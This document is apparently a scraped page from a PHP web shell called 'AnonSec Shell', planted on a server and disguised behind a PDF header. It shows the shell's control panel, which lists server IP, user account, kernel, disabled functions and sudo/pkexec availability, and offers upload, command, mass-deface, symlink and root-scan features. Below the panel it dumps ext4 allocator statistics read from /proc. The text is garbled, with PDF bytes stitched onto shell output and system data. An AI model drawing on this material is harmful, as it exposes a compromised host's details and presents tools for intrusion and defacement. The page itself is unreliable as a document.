%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj < AnonSec Shell
AnonSec Shell
Server IP : 212.252.79.165  /  Your IP : 216.73.216.45   [ Reverse IP ]
Web Server : Apache
System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User : cehaburo ( 1001)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
Domains : 48 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/fs/ext4/dm-0/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/fs/ext4/dm-0/mb_groups
#group: free  frags first [ 2^0   2^1   2^2   2^3   2^4   2^5   2^6   2^7   2^8   2^9   2^10  2^11  2^12  2^13  ]
#0    : 19873 4     9570  [ 1     0     0     0     0     1     0     1     1     4     1     2     1     1     ]
#1    : 379   13    1184  [ 3     6     3     6     3     2     3     0     0     0     0     0     0     0     ]
#2    : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#3    : 759   7     1054  [ 7     6     3     3     4     2     1     2     1     0     0     0     0     0     ]
#4    : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#5    : 133   7     1266  [ 5     4     8     5     3     0     0     0     0     0     0     0     0     0     ]
#6    : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#7    : 646   5     1140  [ 4     3     5     5     2     1     2     1     1     0     0     0     0     0     ]
#8    : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#9    : 915   26    1071  [ 25    21    12    16    8     3     1     1     1     0     0     0     0     0     ]
#10   : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#11   : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#12   : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#13   : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#14   : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#15   : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#16   : 16526 7     8704  [ 0     1     1     1     0     0     0     1     4     2     2     0     1     1     ]
#17   : 993   223   7     [ 221   86    28    17    6     6     1     0     0     0     0     0     0     0     ]
#18   : 6960  269   64    [ 234   37    37    37    46    25    29    6     4     0     1     0     0     0     ]
#19   : 24693 51    640   [ 35    23    17    18    27    15    7     6     1     1     1     2     0     2     ]
#20   : 1402  39    51    [ 40    17    12    8     8     6     4     3     1     0     0     0     0     0     ]
#21   : 2145  119   60    [ 117   72    55    42    19    6     3     1     2     0     0     0     0     0     ]
#22   : 989   63    22847 [ 65    42    36    19    12    5     1     1     0     0     0     0     0     0     ]
#23   : 7666  945   0     [ 934   264   133   67    39    25    18    8     6     0     0     0     0     0     ]
#24   : 2499  40    22    [ 21    19    30    22    24    15    10    3     1     0     0     0     0     0     ]
#25   : 492   34    1054  [ 24    22    14    12    9     4     0     0     0     0     0     0     0     0     ]
#26   : 11963 106   252   [ 75    88    74    53    49    33    27    18    14    1     1     0     0     0     ]
#27   : 1879  117   1054  [ 103   78    57    14    14    13    8     1     0     0     0     0     0     0     ]
#28   : 4464  86    28    [ 80    48    28    22    18    10    11    9     6     0     0     0     0     0     ]
#29   : 5123  44    28    [ 35    30    27    25    27    18    14    10    6     0     0     0     0     0     ]
#30   : 331   6     21856 [ 1     1     0     3     3     4     0     1     0     0     0     0     0     0     ]
#31   : 762   87    28672 [ 80    41    16    13    7     2     2     1     0     0     0     0     0     0     ]
#32   : 17871 13    14080 [ 5     7     3     2     2     4     2     3     7     6     6     1     1     0     ]
#33   : 546   46    32    [ 36    35    18    8     11    4     0     0     0     0     0     0     0     0     ]
#34   : 584   59    8938  [ 50    19    6     7     6     4     3     0     0     0     0     0     0     0     ]
#35   : 1154  109   36    [ 108   25    23    19    21    7     3     0     0     0     0     0     0     0     ]
#36   : 4284  203   57    [ 206   41    25    21    17    14    11    4     7     0     0     0     0     0     ]
#37   : 10137 133   352   [ 107   105   93    73    62    46    34    21    6     0     0     0     0     0     ]
#38   : 8733  145   0     [ 111   91    86    88    62    30    27    9     10    0     0     0     0     0     ]
#39   : 3168  28    1113  [ 14    11    13    15    9     6     11    7     4     0     0     0     0     0     ]
#40   : 1229  25    11776 [ 13    16    18    13    13    5     4     1     1     0     0     0     0     0     ]
#41   : 2447  24    12288 [ 17    19    14    10    5     6     7     6     3     0     0     0     0     0     ]
#42   : 1762  25    12288 [ 20    15    18    15    9     7     6     4     1     0     0     0     0     0     ]
#43   : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#44   : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#45   : 146   3     19150 [ 2     2     1     1     2     1     1     0     0     0     0     0     0     0     ]
#46   : 970   4     20    [ 0     1     2     2     1     3     3     1     2     0     0     0     0     0     ]
#47   : 2478  44    6184  [ 30    26    17    23    14    10    9     6     1     0     0     0     0     0     ]
#48   : 16358 5     13565 [ 4     1     0     0     0     1     1     1     1     1     1     1     1     1     ]
#49   : 208   24    1527  [ 10    13    15    10    2     0     0     0     0     0     0     0     0     0     ]
#50   : 6604  89    2050  [ 82    55    59    36    30    25    18    13    7     0     0     0     0     0     ]
#51   : 1946  33    17410 [ 26    18    15    6     5     1     2     4     4     0     0     0     0     0     ]
#52   : 449   8     133   [ 5     6     4     6     1     1     1     0     1     0     0     0     0     0     ]
#53   : 151   4     166   [ 3     4     1     1     2     1     1     0     0     0     0     0     0     0     ]
#54   : 9137  245   0     [ 153   158   145   143   106   52    2     1     13    0     0     0     0     0     ]
#55   : 5323  91    0     [ 89    43    29    17    24    15    13    9     8     0     0     0     0     0     ]
#56   : 15616 216   0     [ 180   156   113   90    74    63    44    30    16    0     0     0     0     0     ]
#57   : 586   8     78    [ 4     3     4     4     3     1     3     2     0     0     0     0     0     0     ]
#58   : 826   10    28    [ 8     7     7     7     5     2     1     2     1     0     0     0     0     0     ]
#59   : 6220  57    0     [ 32    30    38    27    26    15    18    13    8     0     0     0     0     0     ]
#60   : 3349  124   2560  [ 111   79    22    12    9     8     5     5     6     0     0     0     0     0     ]
#61   : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#62   : 1191  21    6144  [ 9     11    12    13    5     9     8     1     0     0     0     0     0     0     ]
#63   : 1280  49    11679 [ 44    36    33    33    22    11    1     0     0     0     0     0     0     0     ]
#64   : 18034 7     13792 [ 0     1     0     2     0     1     3     1     1     0     1     0     0     2     ]
#65   : 229   15    29423 [ 7     5     11    7     3     2     0     0     0     0     0     0     0     0     ]
#66   : 3168  71    10    [ 60    58    54    35    36    32    10    2     0     0     0     0     0     0     ]
#67   : 7694  170   1916  [ 138   118   104   85    61    36    16    12    6     0     0     0     0     0     ]
#68   : 11485 175   1043  [ 147   95    59    70    45    31    21    11    9     5     1     0     0     0     ]
#69   : 462   7     23040 [ 4     7     3     0     3     2     3     1     0     0     0     0     0     0     ]
#70   : 15931 134   18    [ 119   94    90    74    51    57    58    27    19    0     0     0     0     0     ]
#71   : 5780  53    5324  [ 42    39    27    28    25    24    19    13    5     0     0     0     0     0     ]
#72   : 7859  179   1025  [ 175   116   67    52    37    27    23    14    8     0     0     0     0     0     ]
#73   : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#74   : 288   7     40    [ 6     3     3     5     4     5     0     0     0     0     0     0     0     0     ]
#75   : 1485  27    2076  [ 27    21    12    9     11    5     3     4     1     0     0     0     0     0     ]
#76   : 314   3     563   [ 2     0     2     2     0     1     2     1     0     0     0     0     0     0     ]
#77   : 6007  86    272   [ 51    52    43    46    34    23    13    17    4     0     0     0     0     0     ]
#78   : 14232 213   187   [ 176   132   116   132   65    51    42    30    12    0     0     0     0     0     ]
#79   : 466   6     621   [ 2     4     4     3     2     2     1     2     0     0     0     0     0     0     ]
#80   : 16857 18    8276  [ 11    3     8     5     2     1     1     0     1     0     0     0     0     2     ]
#81   : 1102  87    1530  [ 66    58    50    46    10    4     1     0     0     0     0     0     0     0     ]
#82   : 90    3     477   [ 2     2     1     0     1     0     1     0     0     0     0     0     0     0     ]
#83   : 571   18    291   [ 15    10    8     9     7     2     2     1     0     0     0     0     0     0     ]
#84   : 90    4     48    [ 2     2     1     0     3     1     0     0     0     0     0     0     0     0     ]
#85   : 4861  242   526   [ 235   61    12    17    10    16    11    5     9     0     0     0     0     0     ]
#86   : 1424  58    10752 [ 52    2     2     2     2     7     9     4     0     0     0     0     0     0     ]
#87   : 141   6     363   [ 3     5     4     0     1     1     1     0     0     0     0     0     0     0     ]
#88   : 594   11    2048  [ 6     6     8     8     4     1     2     0     1     0     0     0     0     0     ]
#89   : 1436  14    0     [ 2     3     5     4     0     11    14    1     0     0     0     0     0     0     ]
#90   : 0     0     224   [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#91   : 1072  16    4125  [ 16    10    9     7     9     7     5     0     1     0     0     0     0     0     ]
#92   : 1451  14    0     [ 3     4     4     4     3     8     9     2     1     0     0     0     0     0     ]
#93   : 3165  60    24640 [ 51    35    37    26    18    19    10    7     1     0     0     0     0     0     ]
#94   : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#95   : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#96   : 10342 50    9440  [ 36    23    25    26    20    11    7     7     7     4     2     1     0     0     ]
#97   : 74    41    16482 [ 38    12    3     0     0     0     0     0     0     0     0     0     0     0     ]
#98   : 312   201   1804  [ 200   50    3     0     0     0     0     0     0     0     0     0     0     0     ]
#99   : 3471  106   306   [ 75    64    53    58    32    25    10    5     0     0     0     0     0     0     ]
#100  : 9074  110   14    [ 74    66    61    58    44    33    32    18    8     0     0     0     0     0     ]
#101  : 11698 115   19    [ 102   106   100   73    60    51    30    22    12    0     0     0     0     0     ]
#102  : 20787 229   57    [ 185   151   147   124   96    77    58    34    18    2     1     0     0     0     ]
#103  : 7169  276   75    [ 167   159   167   172   68    19    12    7     5     0     0     0     0     0     ]
#104  : 6291  129   512   [ 97    85    94    100   51    22    18    9     4     0     0     0     0     0     ]
#105  : 27189 77    0     [ 67    55    55    49    44    41    25    20    15    4     4     3     1     0     ]
#106  : 170   9     22    [ 2     6     3     6     4     1     0     0     0     0     0     0     0     0     ]
#107  : 5266  223   8618  [ 142   144   113   118   163   14    6     0     0     0     0     0     0     0     ]
#108  : 358   28    576   [ 10    12    7     7     13    1     0     0     0     0     0     0     0     0     ]
#109  : 359   5     37    [ 3     4     1     1     1     2     2     1     0     0     0     0     0     0     ]
#110  : 390   6     51    [ 2     0     1     2     1     3     2     1     0     0     0     0     0     0     ]
#111  : 127   7     26648 [ 5     1     2     4     1     2     0     0     0     0     0     0     0     0     ]
#112  : 16949 4     11262 [ 3     1     2     1     0     1     2     1     1     2     1     1     1     1     ]
#113  : 478   39    61    [ 28    25    28    16    10    0     0     0     0     0     0     0     0     0     ]
#114  : 237   19    19    [ 15    11    12    13    3     0     0     0     0     0     0     0     0     0     ]
#115  : 234   6     115   [ 4     5     5     3     1     1     0     1     0     0     0     0     0     0     ]
#116  : 292   22    20    [ 10    15    11    10    8     0     0     0     0     0     0     0     0     0     ]
#117  : 62    4     81    [ 2     4     3     1     2     0     0     0     0     0     0     0     0     0     ]
#118  : 1141  49    21    [ 31    29    31    32    10    6     3     1     0     0     0     0     0     0     ]
#119  : 19636 46    46    [ 36    30    23    23    20    14    7     7     5     1     3     2     2     0     ]
#120  : 11580 195   51    [ 146   91    81    72    53    19    19    12    10    3     2     0     0     0     ]
#121  : 6692  84    72    [ 68    72    54    55    44    26    21    11    6     0     0     0     0     0     ]
#122  : 3890  81    125   [ 58    42    33    30    19    12    12    5     5     0     0     0     0     0     ]
#123  : 581   50    53    [ 39    35    26    22    12    0     0     0     0     0     0     0     0     0     ]
#124  : 2543  107   127   [ 93    87    75    41    21    9     8     4     0     0     0     0     0     0     ]
#125  : 1768  114   1054  [ 88    50    53    63    24    3     2     0     1     0     0     0     0     0     ]
#126  : 4276  347   80    [ 202   195   169   190   69    2     1     0     1     0     0     0     0     0     ]
#127  : 8752  665   28    [ 594   401   249   197   103   24    21    6     1     0     0     0     0     0     ]
#128  : 16077 10    9258  [ 7     3     4     0     3     2     1     2     1     2     0     1     1     1     ]
#129  : 2296  621   292   [ 634   217   83    40    18    7     1     0     0     0     0     0     0     0     ]
#130  : 274   85    1301  [ 78    28    11    6     1     1     0     0     0     0     0     0     0     0     ]
#131  : 185   68    21    [ 73    16    8     4     1     0     0     0     0     0     0     0     0     0     ]
#132  : 2435  182   688   [ 165   85    31    23    16    12    6     2     2     0     0     0     0     0     ]
#133  : 364   128   171   [ 138   47    13    6     2     0     0     0     0     0     0     0     0     0     ]
#134  : 1181  362   351   [ 355   101   32    24    9     3     1     0     0     0     0     0     0     0     ]
#135  : 3046  222   104   [ 208   137   101   68    21    8     6     5     0     0     0     0     0     0     ]
#136  : 13554 59    56    [ 52    51    42    48    33    29    28    17    11    7     1     0     0     0     ]
#137  : 3317  176   562   [ 169   102   44    18    12    12    6     3     5     0     0     0     0     0     ]
#138  : 12208 97    50    [ 82    61    59    51    34    40    25    24    19    0     0     0     0     0     ]
#139  : 1755  10    50    [ 7     8     7     9     4     7     5     4     2     0     0     0     0     0     ]
#140  : 3990  40    498   [ 32    29    27    26    18    15    10    11    3     0     0     0     0     0     ]
#141  : 1859  20    1042  [ 9     9     4     7     4     5     8     4     2     0     0     0     0     0     ]
#142  : 1864  24    205   [ 24    18    17    13    6     10    5     3     2     0     0     0     0     0     ]
#143  : 10121 408   52    [ 407   247   89    56    32    31    22    15    14    0     0     0     0     0     ]
#144  : 18771 4     10560 [ 3     2     1     1     2     3     3     2     3     2     2     1     1     1     ]
#145  : 161   19    604   [ 11    11    10    3     0     2     0     0     0     0     0     0     0     0     ]
#146  : 85    15    660   [ 11    5     2     1     1     1     0     0     0     0     0     0     0     0     ]
#147  : 79    6     1139  [ 5     3     5     2     0     1     0     0     0     0     0     0     0     0     ]
#148  : 462   10    256   [ 8     7     4     3     1     0     0     3     0     0     0     0     0     0     ]
#149  : 736   59    661   [ 50    39    38    33    10    1     0     0     0     0     0     0     0     0     ]
#150  : 9266  55    786   [ 42    36    30    25    8     16    12    10    4     4     3     0     0     0     ]
#151  : 548   8     117   [ 6     3     4     5     4     1     0     1     1     0     0     0     0     0     ]
#152  : 1557  9     23    [ 7     3     6     8     5     5     3     4     2     0     0     0     0     0     ]
#153  : 723   15    27    [ 11    12    10    9     8     6     4     0     0     0     0     0     0     0     ]
#154  : 1308  12    45    [ 12    12    6     4     6     3     4     4     1     0     0     0     0     0     ]
#155  : 5957  550   391   [ 527   211   86    67    46    22    14    8     3     0     0     0     0     0     ]
#156  : 2546  182   123   [ 182   48    19    10    10    7     5     5     3     0     0     0     0     0     ]
#157  : 3515  105   134   [ 99    56    16    17    14    10    10    7     4     0     0     0     0     0     ]
#158  : 2078  18    62    [ 10    14    10    10    8     2     5     5     3     0     0     0     0     0     ]
#159  : 755   9     102   [ 3     6     3     5     1     3     1     2     1     0     0     0     0     0     ]
#160  : 23099 10    8230  [ 3     10    7     7     3     5     6     3     2     0     1     0     1     2     ]
#161  : 1554  21    2006  [ 18    18    13    15    9     9     6     2     1     0     0     0     0     0     ]
#162  : 56    1     640   [ 0     0     0     1     1     1     0     0     0     0     0     0     0     0     ]
#163  : 391   16    183   [ 9     7     12    8     4     2     2     0     0     0     0     0     0     0     ]
#164  : 66    3     1347  [ 2     0     2     1     1     1     0     0     0     0     0     0     0     0     ]
#165  : 1173  13    19    [ 9     8     11    6     6     4     1     2     2     0     0     0     0     0     ]
#166  : 499   20    69    [ 13    11    16    10    6     3     2     0     0     0     0     0     0     0     ]
#167  : 7661  141   30    [ 81    72    71    64    47    40    42    7     4     0     0     0     0     0     ]
#168  : 1188  11    110   [ 6     9     9     3     3     1     4     4     1     0     0     0     0     0     ]
#169  : 29    4     1939  [ 3     1     2     2     0     0     0     0     0     0     0     0     0     0     ]
#170  : 1137  14    217   [ 11    15    10    8     6     4     2     3     1     0     0     0     0     0     ]
#171  : 994   9     249   [ 10    4     6     5     5     2     0     4     1     0     0     0     0     0     ]
#172  : 1685  15    22    [ 15    17    13    10    10    6     6     4     1     0     0     0     0     0     ]
#173  : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#174  : 2388  17    45    [ 12    12    16    8     7     4     5     7     3     0     0     0     0     0     ]
#175  : 442   37    121   [ 26    20    18    16    7     2     0     0     0     0     0     0     0     0     ]
#176  : 24239 9     8264  [ 3     4     7     9     8     6     2     3     1     1     2     0     1     2     ]
#177  : 4719  31    104   [ 17    21    21    28    20    16    13    9     6     0     0     0     0     0     ]
#178  : 2986  18    121   [ 18    12    16    8     6     9     4     5     6     0     0     0     0     0     ]
#179  : 979   11    115   [ 9     7     5     7     3     4     3     2     1     0     0     0     0     0     ]
#180  : 13    4     100   [ 1     2     2     0     0     0     0     0     0     0     0     0     0     0     ]
#181  : 1167  19    84    [ 11    6     10    10    4     6     0     2     2     0     0     0     0     0     ]
#182  : 911   13    61    [ 5     7     3     4     5     2     3     4     0     0     0     0     0     0     ]
#183  : 3425  49    28    [ 43    33    33    26    16    15    5     5     5     0     0     0     0     0     ]
#184  : 1398  17    122   [ 12    15    13    13    7     6     6     4     0     0     0     0     0     0     ]
#185  : 1254  20    20    [ 14    10    17    14    3     9     5     3     0     0     0     0     0     0     ]
#186  : 1138  23    23    [ 8     9     10    10    12    3     3     2     1     0     0     0     0     0     ]
#187  : 1165  28    898   [ 29    24    22    17    12    9     4     1     0     0     0     0     0     0     ]
#188  : 442   11    120   [ 4     7     4     5     1     1     1     0     1     0     0     0     0     0     ]
#189  : 218   12    109   [ 4     7     6     4     1     0     2     0     0     0     0     0     0     0     ]
#190  : 4052  112   357   [ 92    74    51    51    30    19    11    11    0     0     0     0     0     0     ]
#191  : 2294  59    54    [ 56    41    35    40    24    11    7     4     0     0     0     0     0     0     ]
#192  : 7746  60    10853 [ 50    40    26    29    19    10    8     10    5     3     0     1     0     0     ]
#193  : 31    18    510   [ 15    6     1     0     0     0     0     0     0     0     0     0     0     0     ]
#194  : 116   23    1155  [ 26    9     12    3     0     0     0     0     0     0     0     0     0     0     ]
#195  : 1399  186   2146  [ 149   161   8     8     4     4     2     2     1     0     0     0     0     0     ]
#196  : 5227  106   560   [ 97    75    59    51    37    29    14    7     4     0     0     0     0     0     ]
#197  : 3841  70    465   [ 59    45    35    28    22    17    10    4     5     0     0     0     0     0     ]
#198  : 9694  89    80    [ 88    67    56    60    54    35    26    14    9     0     1     0     0     0     ]
#199  : 1974  345   164   [ 318   216   12    3     2     3     2     3     2     0     0     0     0     0     ]
#200  : 7050  42    471   [ 32    31    19    26    15    13    18    14    12    0     0     0     0     0     ]
#201  : 3669  25    94    [ 19    15    17    12    10    9     7     6     7     0     0     0     0     0     ]
#202  : 6541  125   113   [ 129   78    56    44    41    23    17    9     8     0     0     0     0     0     ]
#203  : 2686  13    83    [ 10    10    10    9     7     6     5     5     5     0     0     0     0     0     ]
#204  : 5722  61    56    [ 60    47    30    27    25    15    20    14    5     0     0     0     0     0     ]
#205  : 386   13    80    [ 8     9     12    7     2     1     3     0     0     0     0     0     0     0     ]
#206  : 17558 31    55    [ 24    25    25    25    20    17    13    13    12    9     6     0     0     0     ]
#207  : 8208  101   49    [ 96    100   78    76    61    44    22    15    5     0     0     0     0     0     ]
#208  : 14145 4     10880 [ 1     0     0     0     0     0     1     2     0     1     1     0     1     1     ]
#209  : 1093  47    1280  [ 35    27    11    6     7     7     5     2     0     0     0     0     0     0     ]
#210  : 3719  278   402   [ 283   130   62    18    14    8     10    11    1     0     0     0     0     0     ]
#211  : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#212  : 591   105   614   [ 91    32    35    11    3     1     0     1     0     0     0     0     0     0     ]
#213  : 258   51    228   [ 46    28    15    4     2     1     0     0     0     0     0     0     0     0     ]
#214  : 1407  21    32    [ 13    13    10    6     12    10    4     2     1     0     0     0     0     0     ]
#215  : 1083  95    16    [ 99    78    57    27    6     3     1     1     0     0     0     0     0     0     ]
#216  : 666   45    238   [ 34    38    31    18    16    1     0     0     0     0     0     0     0     0     ]
#217  : 1603  18    24576 [ 19    14    9     10    6     8     3     5     1     0     0     0     0     0     ]
#218  : 1374  23    1282  [ 14    16    10    11    5     11    6     3     0     0     0     0     0     0     ]
#219  : 182   3     1280  [ 0     1     3     1     2     0     0     1     0     0     0     0     0     0     ]
#220  : 971   28    72    [ 11    16    20    14    8     5     3     2     0     0     0     0     0     0     ]
#221  : 704   19    382   [ 12    10    8     4     4     3     1     3     0     0     0     0     0     0     ]
#222  : 4032  49    4     [ 42    27    26    25    15    12    11    8     1     0     1     0     0     0     ]
#223  : 6843  37    0     [ 33    23    25    27    23    20    21    12    10    0     0     0     0     0     ]
#224  : 3     2     10294 [ 3     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#225  : 3895  228   2     [ 211   180   103   58    19    11    8     2     4     0     0     0     0     0     ]
#226  : 15513 168   472   [ 131   95    88    67    40    91    80    40    2     0     0     0     0     0     ]
#227  : 4492  408   310   [ 290   201   194   198   84    1     1     0     0     0     0     0     0     0     ]
#228  : 4652  91    34    [ 72    20    11    8     9     8     9     5     11    0     0     0     0     0     ]
#229  : 12536 251   768   [ 226   167   116   95    60    52    29    21    14    0     0     0     0     0     ]
#230  : 14986 193   0     [ 144   137   122   106   63    30    22    23    17    3     1     0     0     0     ]
#231  : 4701  81    54    [ 55    41    25    16    27    14    10    6     8     0     0     0     0     0     ]
#232  : 4710  37    864   [ 26    28    25    20    21    16    9     9     7     0     0     0     0     0     ]
#233  : 13447 171   0     [ 115   128   123   115   71    49    30    25    15    0     0     0     0     0     ]
#234  : 20048 233   30    [ 200   186   175   153   111   67    39    27    26    0     1     0     0     0     ]
#235  : 13934 254   214   [ 230   166   133   125   92    66    41    22    11    0     0     0     0     0     ]
#236  : 7553  414   511   [ 237   332   309   315   25    4     1     6     6     0     0     0     0     0     ]
#237  : 23403 95    0     [ 55    58    54    69    36    12    22    7     1     1     0     3     1     1     ]
#238  : 19818 60    1157  [ 52    37    35    36    16    12    13    9     7     3     1     2     0     1     ]
#239  : 15265 301   0     [ 197   176   157   163   125   73    34    23    13    0     0     0     0     0     ]
#240  : 21186 37    8662  [ 26    16    10    8     6     4     5     2     1     1     1     1     0     2     ]
#241  : 17389 279   5     [ 249   178   130   107   73    59    53    34    18    0     0     0     0     0     ]
#242  : 23536 32    121   [ 26    17    11    3     3     2     4     4     4     4     3     2     1     1     ]
#243  : 16374 101   1127  [ 76    67    71    51    41    41    37    33    27    0     0     0     0     0     ]
#244  : 3512  128   2258  [ 56    58    63    62    78    20    1     1     2     0     0     0     0     0     ]
#245  : 988   15    4096  [ 10    5     6     6     4     4     1     3     1     0     0     0     0     0     ]
#246  : 11446 72    1593  [ 66    42    50    49    39    31    32    17    9     3     1     0     0     0     ]
#247  : 4168  86    1242  [ 50    41    25    30    15    26    23    9     0     0     0     0     0     0     ]
#248  : 3919  61    2172  [ 49    43    44    37    17    19    22    8     0     0     0     0     0     0     ]
#249  : 1265  54    244   [ 35    25    15    22    13    5     5     0     1     0     0     0     0     0     ]
#250  : 7743  262   4     [ 145   135   128   134   77    23    11    6     9     0     0     0     0     0     ]
#251  : 3066  95    1536  [ 54    50    56    70    27    21    4     0     3     0     0     0     0     0     ]
#252  : 3558  199   4373  [ 120   97    81    75    45    8     7     5     1     0     0     0     0     0     ]
#253  : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#254  : 13901 231   512   [ 151   117   95    80    55    43    40    26    11    1     1     0     0     0     ]
#255  : 18384 522   1342  [ 478   365   248   157   103   71    48    36    13    0     0     0     0     0     ]
#256  : 22191 45    8244  [ 25    39    6     6     4     2     2     2     2     1     0     0     1     2     ]
#257  : 23923 263   0     [ 243   204   194   174   135   76    56    43    29    0     0     0     0     0     ]
#258  : 14283 68    512   [ 45    45    43    31    36    23    24    31    27    0     0     0     0     0     ]
#259  : 6222  51    684   [ 50    38    40    28    23    19    8     11    11    0     0     0     0     0     ]
#260  : 10002 59    132   [ 40    39    41    37    19    15    15    14    11    4     1     0     0     0     ]
#261  : 20939 93    41    [ 73    61    66    44    38    24    29    24    18    14    2     0     0     0     ]
#262  : 4869  27    0     [ 19    19    15    20    15    12    10    8     9     0     0     0     0     0     ]
#263  : 10026 127   2000  [ 116   91    94    71    67    41    34    15    9     0     0     0     0     0     ]
#264  : 18804 153   1044  [ 144   132   121   91    88    65    36    29    14    0     0     0     1     0     ]
#265  : 11472 67    415   [ 60    48    37    40    34    28    15    16    9     4     2     0     0     0     ]
#266  : 9032  239   537   [ 206   129   82    66    46    34    22    19    8     0     0     0     0     0     ]
#267  : 10054 124   202   [ 104   85    79    75    50    32    18    10    8     3     1     0     0     0     ]
#268  : 9122  99    596   [ 80    81    64    46    38    37    23    19    10    0     0     0     0     0     ]
#269  : 9247  177   55    [ 115   110   104   92    77    54    31    12    5     0     0     0     0     0     ]
#270  : 1713  23    63    [ 21    12    13    12    7     10    5     4     1     0     0     0     0     0     ]
#271  : 4460  77    10283 [ 62    63    44    36    30    20    18    8     2     0     0     0     0     0     ]
#272  : 21315 24    8224  [ 23    14    10    11    7     5     4     3     1     3     0     1     0     2     ]
#273  : 17888 82    288   [ 56    52    60    44    27    14    16    11    6     2     3     2     1     0     ]
#274  : 8987  96    113   [ 91    78    69    58    50    41    18    15    5     1     1     0     0     0     ]
#275  : 3607  58    506   [ 47    30    17    11    9     10    7     5     1     1     1     0     0     0     ]
#276  : 12534 45    5560  [ 30    36    40    20    21    20    16    9     11    8     2     0     0     0     ]
#277  : 9527  37    243   [ 33    27    24    28    20    23    18    12    15    1     1     0     0     0     ]
#278  : 4264  43    439   [ 36    34    24    24    16    11    7     8     7     0     0     0     0     0     ]
#279  : 5693  43    1110  [ 35    19    17    20    19    15    14    11    3     1     1     0     0     0     ]
#280  : 7191  43    25    [ 35    38    34    24    24    23    14    9     6     2     1     0     0     0     ]
#281  : 3228  26    349   [ 20    18    15    17    14    10    10    8     3     0     0     0     0     0     ]
#282  : 2916  23    558   [ 16    16    15    13    9     6     7     5     5     0     0     0     0     0     ]
#283  : 423   19    466   [ 9     11    14    14    8     3     0     0     0     0     0     0     0     0     ]
#284  : 6800  36    50    [ 26    33    31    27    22    18    15    13    11    0     0     0     0     0     ]
#285  : 336   7     1080  [ 4     4     1     2     1     1     0     2     0     0     0     0     0     0     ]
